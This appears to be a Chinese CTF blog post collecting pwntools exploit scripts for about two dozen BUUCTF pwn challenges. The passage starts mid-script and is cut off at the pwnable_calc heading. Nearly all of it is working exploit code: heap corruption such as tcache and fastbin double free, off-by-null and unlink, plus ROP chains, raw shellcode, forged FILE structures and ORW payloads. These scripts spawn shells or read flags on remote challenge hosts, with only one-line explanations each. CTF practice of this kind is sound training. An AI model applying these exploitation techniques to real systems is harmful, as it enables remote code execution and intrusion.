p.sendlineafter("message:\n",str(size))
p.sendlineafter("message:\n",con)

def delete(idx):
p.sendlineafter("choice: ","2")
p.sendlineafter("delete:\n",str(idx))

def edit(idx,con):
p.sendlineafter("choice: ","3")
p.sendlineafter("edit:\n",str(idx))
p.sendlineafter("message:\n",con)

def show(idx):
p.sendlineafter("choice: ","4")
p.sendlineafter("display:\n",str(idx))

add(0x100,"a")#0
add(0x100,"/bin/sh\x00")#1

delete(0)
delete(0)
add(0x100,p64(0x602060))#2
add(0x100,"a")#3
add(0x100,p64(0x10) + p64(elf.got["puts"]))#4
show(0)
p.recvuntil("e: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["puts"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("libc_base: " + hex(libc_base))
edit(4,p64(0x10) + p64(free_hook))
edit(0,p64(sys_ad))
delete(1)
#gdb.attach(p)
p.interactive()

[Black Watch 入群题]PWN2

参考新春红包题(libc-2.29下的tcache stash unlink attack)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

libc = ELF("/home/hacker/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
p = remote("node4.buuoj.cn",28012)
#p = process([ld_path, "./pwn"], env={"LD_PRELOAD":libc_path})
context(log_level = "debug")
def add(idx,choice,con):
p.sendlineafter("input: ","1")
p.sendlineafter("idx: ",str(idx))
p.sendlineafter(": ",str(choice))
p.sendlineafter("content: ",con)

def delete(idx):
p.sendlineafter("input: ","2")
p.sendlineafter("idx: ",str(idx))

def change(idx,con):
p.sendlineafter("input: ","3")
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("content: ",con)

def show(idx):
p.sendlineafter("input: ","4")
p.sendlineafter("idx: ",str(idx))

def backdoor(con):
p.sendlineafter("input: ","666")
p.sendlineafter("want to say?",con)

for i in range(9):#0 - 8 size: 0x400
add(i,4,"aaaaaaaa")

for i in range(9,15):#9 - 14
add(i,2,"aaaabbbb")#0xf0
delete(1)
delete(0)
show(0)
heap = u64(p.recv(6).ljust(8,b"\x00")) - 0x370 - 4880
log.info("heap: " + hex(heap))
for i in range(3,9):#3 s- 8
delete(i)
show(8)

libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))

for i in range(9,15):
delete(i)
add(16,3,"bbbaaa")
add(0,3,"bbbaaa")
delete(2)
add(1,3,"aaabbb")
add(3,3,"aaabbb")
change(2,b"d"*0x300 + p64(0) + p64(0x101) + p64(heap + 13808) + p64(heap + 2640))
add(0,2,"./flag.txt\x00")
flag_ad = heap + 13824
rax = 0x47cf8 + libc_base
rdi = 0x26542 + libc_base
rdx_rsi = 0x12bdc9 + libc_base
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
leave = libc_base + 0x58373

pay = p64(rdi) + p64(flag_ad) + p64(rdx_rsi) + p64(0)*2 + p64(rax) + p64(2) + p64(open)#0x28
pay += p64(rdi) + p64(3) + p64(rdx_rsi) + p64(0x100) + p64(heap) + p64(rax) +p64(0) + p64(read)#0x40
pay += p64(rdi) + p64(1) + p64(rdx_rsi) + p64(0x100) + p64(heap) + p64(rax) +p64(1) + p64(write)
pay_ad = 17184 + heap
add(0,3,b"a"*8 + pay)
#gdb.attach(p)
backdoor(b"a"*0x80 + p64(pay_ad) + p64(leave))
p.interactive()

mrctf2020_spfa

一个spfa算法,构造0环,就能出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

p = remote("node4.buuoj.cn",27025)
#p = process("./mrctf2020_spfa")
elf = ELF("./mrctf2020_spfa")
libc = elf.libc
context(log_level = "debug")
# a -> [0,29] b -> [0,29] c >= 0
#a != b
def add(a,b,c):
p.sendlineafter("exit:\n","1")
pay = str(a) + " " + str(b) + " " + str(c)
p.sendlineafter("length:\n",pay)

# a,b -> [0,29]
def spfa(a,b):
p.sendlineafter("exit:\n","2")
pay = str(a) + " " + str(b)
p.sendlineafter("to:\n",pay)

def getflag():
p.sendlineafter("exit:\n","3")

add(2,3,0)
add(3,2,0)
#gdb.attach(p)
spfa(2,3)
getflag()
p.interactive()

huxiangbei_2019_hacknote

静态编译的ubuntu16下的堆,思路是找到malloc函数中的malloc_hook,然后通过edit函数的off-by-one来uaf分配到malloc_hook上
写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

#p = process("./huxiangbei_2019_hacknote")
p = remote("node4.buuoj.cn",25150)
elf = ELF("./huxiangbei_2019_hacknote")
libc = elf.libc
context(log_level = "debug",arch = "amd64",os = "linux")

def add(size,con):
p.sendlineafter("4. Exit\n-----------------\n","1")
p.sendlineafter("Size:\n",str(size))
p.sendafter("Note:\n",con)

def delete(idx):
p.sendlineafter("4. Exit\n-----------------\n","2")
p.sendlineafter("Note:\n",str(idx))

def edit(idx,con):
p.sendlineafter("4. Exit\n-----------------\n","3")
p.sendlineafter("Note:\n",str(idx))
p.sendlineafter("Note:\n",con)

malloc_hook = 0x6CB788
add(0x18,"aaaaqqqq\n")#0
add(0x50,"aaaa\n")#1
add(0x30,"aaaabbbb\n")#2
add(0x100,"bbbbcccc\n")#3

edit(0,"a"*0x18)
edit(0,"a"*0x18 + p8(0xa1))
delete(1)
add(0x50,"a\n")#1
add(0x30,"b\n")#4

delete(2)
edit(4,p64(malloc_hook - 0x16))
add(0x30,"a\n")
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n"
add(0x30,"a"*6 + p64(malloc_hook + 8) + shellcode)

p.sendlineafter("4. Exit\n-----------------\n","1")
p.sendlineafter("Size:\n","1")
p.interactive()

2018_treasure

8字节shellcode,学到很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context(os = "linux",arch = "amd64",log_level = "debug")

p = remote("node4.buuoj.cn",27770)
#p = process("./2018_treasure")
elf = ELF("./2018_treasure")
libc = ELF("./libc-2.27.so")
pop_rdi_ret = 0x400b83
pay = asm("push rsp;pop rsi;mov rdx,r12;syscall;ret")
#gdb.attach(p)
log.info("length: " + str(len(pay)))

p.sendlineafter(":","y")
p.sendlineafter("!!!!",pay)
rop = p64(pop_rdi_ret) + p64(elf.got['puts'])
rop += p64(elf.plt['puts']) + p64(0x4009BA)

p.send(rop)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
og = libc_base + 0x4f322#0x4f322 0x4f3c2 0x4f3
ret = 0x4006a9

p.sendlineafter(":","y")
p.sendlineafter("!!!!",pay)

p.send(p64(ret) + p64(og))
p.interactive()

hitcontraining_secretgarden

fastbin attack+double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

p = remote("node4.buuoj.cn",26219)
#p = process("./secretgarden")
elf = ELF("./secretgarden")
#libc = elf.libc
libc = ELF("./libc-2.23.so")
context(log_level = "debug")
def add(length,name,color):
p.sendlineafter(": ","1")
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
p.sendlineafter(":",color)

def show():
p.sendlineafter(": ","2")

def delete(idx):
p.sendlineafter(": ","3")
p.sendlineafter(":",str(idx))

def clean():
p.sendlineafter(": ","4")

add(0x28,"aaab","a")#0
add(0x28,"bbbb","b")#1
add(0x68,"a","b")#2
add(0x68,"b","a")#3
delete(0)
delete(1)
delete(0)

add(0x68,"aaaa","a")#4
pay = p64(1) + p64(elf.got["puts"]) + "a"
add(0x28,pay,"a")
show()
p.recvuntil("Name of the flower[4] :")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.info("malloc_hook: " + hex(malloc_hook))
magic = 0x0000000000400C5E
delete(2)
delete(3)
delete(2)

clean()
add(0x68,p64(malloc_hook - 0x23),"a")

add(0x68,"a","a")
add(0x68,"b","c")
add(0x68,"\x00"*0x13 + p64(magic),"a")

p.sendlineafter(": ","1")
p.interactive()

watevr_2019_voting_machine_1

签到题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(os = "linux",arch = "amd64",log_level = "debug")

p = remote("node4.buuoj.cn",29461)
#p = process("./watevr_2019_voting_machine_1")
elf = ELF("./watevr_2019_voting_machine_1")
libc = elf.libc

rdi = 0x00000000004009b3
rsi = 0x00000000004009b1#rsi + r15

rop = "a"*2 + p64(0) + p64(0x400807)
p.sendlineafter("Vote: ",rop)

p.interactive()

wdb_2018_3rd_pesp

简单堆题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

p = remote("node4.buuoj.cn",28743)
#p = process("./wdb_2018_3rd_pesp")
elf = ELF("./wdb_2018_3rd_pesp")
#libc = elf.libc
libc = ELF("./libc-2.23.so")
context(log_level = "debug")
def add(length,con):
p.sendlineafter("choice:","2")
p.sendlineafter("name:",str(length))
p.sendlineafter("servant:",con)

def show():
p.sendlineafter("choice:","1")

def change(idx,length,con):
p.sendlineafter("choice:","3")
p.sendlineafter("servant:",str(idx))
p.sendlineafter("name:",str(length))
p.sendlineafter("servnat:",con)

def delete(idx):
p.sendlineafter("choice:","4")
p.sendlineafter("servant:",str(idx))

bss = 0x6020c0

add(0x18,"a")#0
add(0x18,"a")#1
add(0x88,"b")#2
add(0x18,"a")#3
add(0x71,"b")#4
add(0x10,"b")#5

change(0,0x20,"/bin/sh\x00"*3 + p64(0x21 + 0x90))
delete(1)
add(0x18,"a")#1
add(0x88,"b")#6

delete(6)
show()
p.recvuntil("2 : ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

add(0x68,"a")#6
delete(6)
change(2,0x88,p64(0x6020f8))
add(0x68,"a")
add(0x68,p64(free_hook))
change(4,0x10,p64(sys_ad))
delete(0)
#gdb.attach(p)
p.interactive()

[中关村2019]one_string

静态编译ubuntu16+32位的堆题,一开始用fastbin失败了,于是unlink + malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

p = remote("node4.buuoj.cn",25827)
#p = process("./pwn")
elf = ELF("./pwn")
context(log_level = "debug",arch = "i386",os = "linux")

def add(size,con):
p.sendline("1")
p.sendline(str(size))
p.sendline(con)

def edit(idx,con):
p.sendline("3")
p.sendline(str(idx))
p.sendline(con)

def delete(idx):
p.sendline("2")
p.sendline(str(idx))

bss = 0x080eba4c
malloc_hook = 0x080EA4D8
shell_bss = 0x80eba60
shellcode = asm(shellcraft.sh())
p.recvuntil("input:\n")
add(0x78,"a")
add(0x78,"b")
add(0x78,"c")
add(0x74,"d")
add(0xf8,"e")
add(0x20,"f")

edit(3,"a"*0x74)

pay = p32(0) + p32(0x71) + p32(bss - 0xc) + p32(bss - 0x8)
pay += "a"*0x60 + p32(0x70) + p16(0x100)
edit(3,pay)

delete(4)

edit(3,'')
edit(3,p32(shell_bss) + p32(malloc_hook))
edit(0,shellcode)
edit(1,p32(shell_bss))

#gdb.attach(p)
p.sendline("1")
p.sendline("1")

p.interactive()

axb_2019_mips

参考https://blog.csdn.net/seaaseesa/article/details/105281585

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding:utf8
from pwn import *

sh = remote('node4.buuoj.cn',28302)

bss = 0x410B70
text_read = 0x4007E0
sh.sendafter("What's your name:","archer")

shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
#ret2shellcode
payload = 'a'*0x20
#fp
payload += p32(bss + 0x200 - 0x40 + 0x28)
#调用read向bss段输入shellcode,然后ret到bss段
payload += p32(text_read)

sh.send(payload)

sleep(1)
payload = 'a'*0x24
#ra
payload += p32(bss + 0x200 + 0x28)
payload += shellcode
sh.send(payload)

sh.interactive()

ciscn_2019_es_5

需要用到realloc(0)free的小trick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

p = remote("node4.buuoj.cn",25197)

elf = ELF("./ciscn_2019_es_5")
#libc = elf.libc
libc = ELF("./libc-2.27.so")
context(log_level = "debug")
def add(size,con):
p.sendlineafter("choice:","1")
p.sendlineafter("size?>",str(size))
p.sendlineafter("content:",con)

def edit(idx,con):
p.sendlineafter("choice:","2")
p.sendlineafter("Index:",str(idx))
#p.sendlineafter("content:",con)

def show(idx):
p.sendlineafter("choice:","3")
p.sendlineafter("Index:",str(idx))

def delete(idx):
p.sendlineafter("choice:","4")
p.sendlineafter("Index:",str(idx))

add(0x450,"a"*0x400)
add(0x30,"/bin/sh\x00")
delete(0)
add(0,'')
show(0)
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 1120 - 0x10 - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]
log.info("libc: " + hex(libc_base))
edit(0,'a')
delete(0)
add(0x10,p64(free_hook))
add(0x10,p64(sys_ad))
delete(1)
#gdb.attach(p)
p.interactive()

starctf2018_babystack

栈溢出修改tls结构,然后栈迁移到bss上使用orw来getflag(补充:使用system或者execve能获取到权限,但是会出现timeout错误)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

p = remote("node4.buuoj.cn","25441")
#p = process("./bs")
elf = ELF("./bs")
#libc = elf.libc
libc = ELF("./libc-2.27.so")

rdi = 0x0000000000400c03
rsi = 0x0000000000400c01
leave = 0x400955
bss = 0x00602040
gad1 = 0x400be0
gad2 = 0x400bfa

#gdb.attach(p)
payload = "a"*0x1000 + p64(bss) + p64(0xdeadbeef) + p64(bss)
payload += p64(rdi) + p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(gad2)
payload += p64(0) + p64(1) + p64(elf.got["read"])
payload += p64(0x200) + p64(bss) + p64(0)
payload += p64(gad1) + p64(bss)*7 + p64(leave)
payload += p64(0xdeadbeef) * 0x100

p.sendlineafter("send?\n",str(len(payload)))
p.send(payload)

p.recvuntil("goodbye.\n")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]

rdx = libc_base + 0x1b96
rax = libc_base + 0x439c8
syscall = libc_base + 0x00000000000d2975
open = libc_base + libc.sym["open"]
read = elf.plt["read"]
puts = elf.plt["puts"]
flag_ad = bss + 0x100

payload = "a"*8 + p64(rdi) + p64(flag_ad) + p64(rax) + p64(2) + p64(rsi) + p64(0)*2 + p64(rdx) + p64(0) + p64(syscall)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss + 0x200) + p64(0) + p64(rdx) + p64(0x100) + p64(read)
payload += p64(rdi) + p64(bss + 0x200) + p64(puts)
payload = payload.ljust(0x100,"\x00") + "./flag\x00"
p.sendline(payload)
p.interactive()

hctf2018_the_end

exit_hook + exec 1>&0(ubuntu-18)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

p = remote("node4.buuoj.cn",27763)
#p = process("./the_end")
elf = ELF("./the_end")
#libc = elf.libc
libc = ELF("./libc-2.27.so")
context(log_level = "debug")
p.recvuntil("gift ")
libc_base = int(p.recv(14),16) - libc.sym["sleep"]
log.info("libc_base:" + hex(libc_base))

og = libc_base + 0xe569f#0x4f2c5 0x4f322 0x10a38c
rtld = libc_base + 0x619f60
log.info("og: " + hex(og))
log.info("rtld: " + hex(rtld))

p.send(p64(rtld))
p.send(p8(og&0xff))
p.send(p64(rtld + 1))
p.send(p8(((og>>8)&0xff)))
p.send(p64(rtld + 2))
p.send(p8(((og>>16)&0xff)))
p.send(p64(rtld + 3))
p.send(p8(((og>>24)&0xff)))
p.send(p64(rtld + 4))
p.send(p8(((og>>32)&0xff)))

p.interactive()

gyctf_2020_bfnote

tls+ret2al

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

p = remote("node4.buuoj.cn","26675")
#p = process("./gyctf_2020_bfnote")
elf = ELF("./gyctf_2020_bfnote")
#libc = elf.libc

context(log_level = "debug")
bss = 0x0804A060
leave = 0x08048578
ebp = 0x080489db
esi = 0x080489d9#pop esi ; pop edi ; pop ebp ; ret
gap = 0x500
fprintf = elf.plt["fprintf"]

pay1 = "a"*50 + "d"*4 + p32(fprintf) + p32(bss + 0x4 + gap)
p.sendafter(" : ",pay1)

fake_sym = p32(bss + gap + 0x4 * 4 + 0x8 - 0x80482C8) + p32(0) + p32(0) + p32(0x12)
fake_rel = p32(bss) + p32(0x7 + int((bss + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100)
p.sendlineafter(" : ",'\x00' * gap + p32(0x08048450) + p32(bss + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0) + p32(0) + p32(bss + gap + 0x4 * 4) + '/bin/sh\x00' + 'system\x00\x00' + fake_rel + fake_sym)

size = 0x200000
p.sendlineafter("size : ",str(size))#note
p.sendlineafter("size : ",str(size + 0x16fc))#title
p.sendlineafter(" :\n",str(size - 0x20))

pay3 = "c"
p.sendlineafter("title : ",pay3)#title

pay4 = "d"*0x10
p.sendlineafter("note : ",pay4)#note


p.interactive()

TWCTF_online_2019_asterisk_alloc

这里只要想到realloc(ptr,0)时会将ptr_r置零就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

p = remote("node4.buuoj.cn",25869)
#p = process("./TWCTF_online_2019_asterisk_alloc")
elf = ELF("./TWCTF_online_2019_asterisk_alloc")
#libc = elf.libc
libc = ELF("./libc-2.27.so")
#context(log_level = "debug")

def malloc(size,con):
p.sendlineafter("choice: ","1")
p.sendlineafter("Size: ",str(size))
p.sendafter("Data: ",con)

def calloc(size,con):
p.sendlineafter("choice: ","2")
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Data: ",con)

def realloc(size,con):
p.sendlineafter("choice: ","3")
p.sendlineafter("Size: ",str(size))
p.sendafter("Data: ",con)

def free(c):
p.sendlineafter("choice: ","4")
p.sendlineafter("Which: ",c)

def pwn():
realloc(0x70,"a")
realloc(0,'')
realloc(0x100,"b")
realloc(0,'')
realloc(0xa0,"c")
realloc(0,'')

realloc(0x100,"b")
for i in range(7):
free("r")
realloc(0,'')
realloc(0x70,"a")
realloc(0x180,"c"*0x78 + p64(0x41) + p8(0x60) + p8(0x87))

realloc(0,'')
realloc(0x100,'a')

realloc(0,'')
malloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))

libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-libc.sym['_IO_file_jumps']
log.info("libc_base: " + hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
sys_ad = libc_base + libc.sym["system"]

realloc(0x80,"a")
realloc(0,'')
realloc(0x110,"b")
realloc(0,'')
realloc(0xb0,"c")
realloc(0,'')

realloc(0x110,"b")
for i in range(7):
free("r")
realloc(0,'')
realloc(0x80,"a")
realloc(0x1a0,"c"*0x88 + p64(0x61) + p64(free_hook))
realloc(0,'')
realloc(0x110,'a')
realloc(0,'')
realloc(0x110,p64(sys_ad))
realloc(0,'')
calloc(0x10,"/bin/sh\x00")
free("c")
pause()
p.interactive()

while(1):
p = remote("node4.buuoj.cn",25869)
try:
pwn()
except:
p.close()

pwnable_seethefile

学到很多利用伪造FILE结构,以及fclose(fp)来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
'''
libc_path = "./libc-2.23-32.so"
ld_path = "/lib/i386-linux-gnu/ld-2.23.so"

p = process([ld_path, "./seethefile"], env={"LD_PRELOAD":libc_path})
'''
libc = ELF("./libc-2.23-32.so")

p = remote("node4.buuoj.cn",28068)
context(log_level = "debug")

def Open(name):
p.sendlineafter("choice :","1")
p.sendlineafter("see :",name)

def read():
p.sendlineafter("choice :","2")

def write():
p.sendlineafter("choice :","3")

Open("/proc/self/maps")
read()
write()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
libc_base = int(p.recvline()[:8],16)+0x1000
sys_ad = libc_base + libc.sym["system"]
bss = 0x0804B260
#gdb.attach(p)
payload = p32(0) * 2 + p32(sys_ad)
payload += p32(0)*5 + p32(bss + 0x28) + p32(0)
payload += "\x80\x80||" + "sh\x00\x00"
payload = payload.ljust(0x94 + 0x28,"\x00") + p32(bss)
p.recvuntil("choice :")
p.sendline("5")
p.recvuntil('your name :')
p.sendline(payload)
p.interactive()

metasequoia_2020_samsara

简单题,ubuntu16 + uaf还给了后门函数cat flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

p = remote("node4.buuoj.cn",25948)
#p = process("./metasequoia_2020_samsara")
elf = ELF("./metasequoia_2020_samsara")
#libc = elf.libc

def capture():
p.sendlineafter(" > ","1")

def eat(idx):
p.sendlineafter(" > ","2")
p.sendlineafter("Index:\n",str(idx))

def cook(idx,con):
p.sendlineafter(" > ","3")
p.sendlineafter("Index:\n",str(idx))
p.sendlineafter("Ingredient:",str(con))

def leak():
p.sendlineafter(" > ","4")

def addr():
p.sendlineafter(" > ","5")
p.sendlineafter("Which kingdom?\n",str(0x21))

def backdoor():
p.sendlineafter(" > ","6")

leak()
p.recvuntil("at: ")
stack = int(p.recv(14),16)
log.info("stack: " + hex(stack))

capture()
capture()

eat(0)
cook(0,stack - 8)
addr()

capture()
capture()
cook(3,0xdeadbeef)
backdoor()
#gdb.attach(p)

p.interactive()

x_nuca_2018_offbyone2

off-by-null + ubuntu18经典题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

p = remote("node4.buuoj.cn",26261)
#p = process("./X-nuca_2018_offbyone2")
elf = ELF("./X-nuca_2018_offbyone2")
libc = ELF("./libc-2.27.so")
context(log_level = "debug")
def add(size,con):#0x7f - 0x1000
p.sendlineafter(">> ","1")
p.sendlineafter("length: ",str(size))
p.sendafter("note:\n",con)

def delete(idx):
p.sendlineafter(">> ","2")
p.sendlineafter("index: ",str(idx))

def show(idx):
p.sendlineafter(">> ","3")
p.sendlineafter("index: ",str(idx))

for i in range(7):
add(0x88,"a\n")#0 - 6

add(0x88,"b\n")#7
add(0x108,"b\n")#8
add(0x4f8,"b\n")#9
add(0x90,"d\n")#10

for i in range(7):
delete(i)
delete(7)
delete(8)
payload = "a"*0x100 + p64(0x110 + 0x90)
add(0x108,payload)#0
delete(9)
for i in range(7):#1 - 7
add(0x88,"a\n")

add(0x88,"b\n")#8
show(0)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
sys_ad = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
add(0x108,"a\n")#9
delete(9)
delete(0)
add(0x108,p64(free_hook) + '\n')#0
add(0x108,"/bin/sh\n")#9
add(0x108,p64(sys_ad) + '\n')
delete(9)
#gdb.attach(p)
p.interactive()

gwctf_2019_chunk

off-by-null + ubuntu16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

p = remote("node4.buuoj.cn",26518)
#p = process("./gwctf_2019_chunk")
elf = ELF("./gwctf_2019_chunk")
libc = ELF("./libc-2.23.so")
context(log_level = "debug")
def add(idx,size):#0 - 0xff
p.sendlineafter("choice: ","1")
p.sendlineafter("ID: ",str(idx))
p.sendlineafter("long: ",str(size))

def show(idx):
p.sendlineafter("choice: ","2")
p.sendlineafter("show?",str(idx))

def delete(idx):
p.sendlineafter("choice: ","3")
p.sendlineafter("throw?\n",str(idx))

def edit(idx,con):
p.sendlineafter("choice: ","4")
p.sendlineafter("write?",str(idx))
p.sendafter("Content: ",con)

add(0,0x88)
add(1,0x68)
add(2,0xf8)
add(3,0x18)

delete(0)
pay = "a"*0x60 + p64(0x90 + 0x70)
edit(1,pay)
delete(2)
add(0,0x88)
show(1)
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
log.info("malloc_hook: " + hex(malloc_hook))
og = libc_base + 0x4526a#0x45216 0x4526a 0xf02a4 0xf1147
realloc=libc_base+libc.sym['__libc_realloc']
add(5,0x68)
delete(1)
edit(5,p64(malloc_hook - 0x23) + "\n")
add(6,0x68)
add(7,0x68)
edit(7,"\x00"*0xb + p64(og) + p64(realloc + 16) + "\n")
add(8,0x1)
p.interactive()

安洵杯_2018_neko

基础栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = remote("node4.buuoj.cn",25509)
#p = process("./2018_neko")
elf = ELF("./2018_neko")
libc = ELF("libc-2.27-32.so")

p.sendlineafter("cats?\n","y")

pay = "a"*0xd0 + p32(0) + p32(elf.plt["puts"]) + p32(0x080486E7) + p32(elf.got["puts"])
p.sendline(pay)
p.recvuntil("?\n")
libc_base = u32(p.recv(4)) - libc.sym["puts"]
sh = 0x0017b8cf + libc_base
log.info("ad: " + hex(libc_base))

pay = "a"*0xd0 + p32(0) + p32(elf.plt["system"]) + p32(0x080486E7) + p32(sh)
p.sendline(pay)
#gdb.attach(p)
p.interactive()

ciscn_2019_sw_5

ubuntu18,这个题只有new和delete函数,只有三次free的机会,思路大概就是double修改fd来实现多次任意地址写,最后hook改og

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

p = remote("node4.buuoj.cn",29477)
#p = process("./ciscn_2019_sw_5")

elf = ELF("./ciscn_2019_sw_5")
libc = ELF("./libc-2.27.so")

def new(con1,con2):
p.sendlineafter(">> ","1")
p.sendafter("title:\n",con1)
p.sendafter("content:\n",con2)

def delete(idx):
p.sendlineafter(">> ","2")
p.sendlineafter("index:\n",str(idx))

for i in range(11):
new("a","b")# 0 - 10

delete(0)
delete(0)

for i in range(2):
new(p8(0x60),"a")

heap = u64(p.recv(6).ljust(8,"\x00"))
log.info("heap: " + hex(heap))
new(p8(0x60),"a"*0x58 + p64(heap))
new(p8(0xc0),"bbbb")
new(p8(0xc0),p64(0)*2)
new(p8(0xc0),p64(0)*2 + p64(0x481))
new(p64(heap),p64(0))
new(p64(heap),p64(0))

delete(1)
new(p64(heap + 0x80),"b"*0x18 + p8(0x20))
p.recvuntil("b"*0x18)
base = u64(p.recv(6).ljust(8,"\x00")) - libc.sym["__malloc_hook"] + 0x10
sys_ad = base + 0x4f322#0x4f2c5 0x4f322 0x10a38c
malloc_hook = base + libc.sym["__malloc_hook"]
log.info("base: " + hex(base))
log.info("malloc: " + hex(malloc_hook))
new(p64(malloc_hook - 0x10),"abcdabcd")
new(p64(malloc_hook - 0x10),p64(0) + p64(sys_ad))
new(p64(malloc_hook - 0x10),p64(0) + p64(sys_ad))

p.sendlineafter(">> ","1")
p.interactive()

pwnable_calc

32位静态编译,这个题挺有意思的,思路是利用+offset实现任意地址写(覆盖calc函数的栈,这样退出函数的时候就可以rop了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
